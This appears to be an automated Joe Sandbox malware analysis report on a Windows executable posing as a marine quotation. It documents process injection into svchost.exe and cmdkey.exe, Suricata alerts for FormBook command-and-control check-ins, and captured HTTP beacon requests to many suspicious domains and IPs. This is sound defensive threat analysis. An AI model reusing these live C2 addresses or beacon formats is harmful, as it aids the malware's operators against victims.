Windows Analysis Report
QUOTATION#070125-ELITE MARINE .exe

Machine Learning detection for sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.15246117394.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15246023580.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11733519795.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11735115611.00000000038A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: QUOTATION#070125-ELITE MARINE .exe

Joe Sandbox ML: detected

Source: QUOTATION#070125-ELITE MARINE .exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: cmdkey.pdbGCTL source: svchost.exe, 00000001.00000003.11702724830.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11734330614.0000000003200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11152091635.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11151732292.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003A2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11648789785.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11646044895.0000000003500000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.000000000384D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11733827034.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11737430340.0000000003572000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11152091635.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11151732292.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.11735251368.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003A2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11648789785.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11646044895.0000000003500000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, cmdkey.exe, 00000003.00000002.15246648295.000000000384D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11733827034.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11737430340.0000000003572000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: svchost.exe, 00000001.00000003.11702724830.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11734330614.0000000003200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RAVCpl64.exe, 00000002.00000002.16214552888.00000000066DC000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.000000000316D000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000003D4C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.000000000291C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RAVCpl64.exe, 00000002.00000002.16214552888.00000000066DC000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.000000000316D000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000003D4C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.000000000291C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0066C2A2 FindFirstFileExW,	0_2_0066C2A2
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A68EE FindFirstFileW,FindClose,	0_2_006A68EE
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_006A698F
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0069D076
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0069D3A9
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006A9642
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006A979D
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_006A9B2B
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0069DBBE
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_006A5C97

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then mov ebx, 00000004h	1_2_03C804E8
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 4x nop then mov ebx, 00000004h	2_2_034704E8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_034704E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49753 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49749 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49745 -> 194.9.94.85:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49746 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49778 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49751 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49769 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49768 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49759 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49775 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49752 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49773 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49750 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49756 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49789 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49760 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49755 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49748 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49762 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49747 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49764 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49754 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49781 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49763 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49782 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49788 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49758 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49776 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49770 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49772 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49766 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49767 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49787 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49757 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49811 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49771 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49786 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49785 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49792 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49765 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49779 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49784 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49780 -> 202.95.11.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49790 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49802 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49761 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49774 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49816 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49801 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49822 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49815 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49783 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49791 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49807 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49777 -> 136.243.64.147:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49803 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49794 -> 194.9.94.85:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49817 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49810 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49793 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49800 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49795 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49804 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49799 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49809 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49797 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49805 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49806 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49808 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49796 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49814 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49813 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49819 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49812 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49798 -> 198.58.118.167:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49818 -> 160.25.166.123:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49821 -> 104.21.13.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49820 -> 104.21.13.141:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.furrcali.xyz

Source: Joe Sandbox View	IP Address: 103.106.67.112 103.106.67.112
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 194.9.94.85 194.9.94.85

Source: Joe Sandbox View	ASN Name: GIGAINFRASoftbankBBCorpJP GIGAINFRASoftbankBBCorpJP
Source: Joe Sandbox View	ASN Name: VOYAGERNET-AS-APVoyagerInternetLtdNZ VOYAGERNET-AS-APVoyagerInternetLtdNZ
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006ACE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_006ACE44

Source: global traffic	HTTP traffic detected: GET /js1x/?LSbaT=zft4LoBw&lV=YzadGC6YqOgjY/9qwmEESxfA+8MKCZxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswMKkfsup8/2EYKLr6Ec= HTTP/1.1Host: www.milp.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw HTTP/1.1Host: www.mzkd6gp5.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /qps0/?lV=oe/Nf5ZxPavzyNCK1vJM2Ozzw7iHMrsFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2gmVOP/g7WXCZMIn3pc=&LSbaT=zft4LoBw HTTP/1.1Host: www.bokus.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw HTTP/1.1Host: www.givvjn.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw HTTP/1.1Host: www.bonheur.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw HTTP/1.1Host: www.rpa.asiaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /kj1o/?lV=aFAzn/LT2mOAaNQHP98soQbFSeChigB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQskl/LrNJEccoBVqSJKs=&LSbaT=zft4LoBw HTTP/1.1Host: www.ogbos88.cyouAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw HTTP/1.1Host: www.100millionjobs.africaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /wbfy/?lV=Xeeb3ImT6ZQQytgHl6ygbKjk3RvUis2KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPQegMjeyq5uNXxHJj0c=&LSbaT=zft4LoBw HTTP/1.1Host: www.mirenzhibo.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
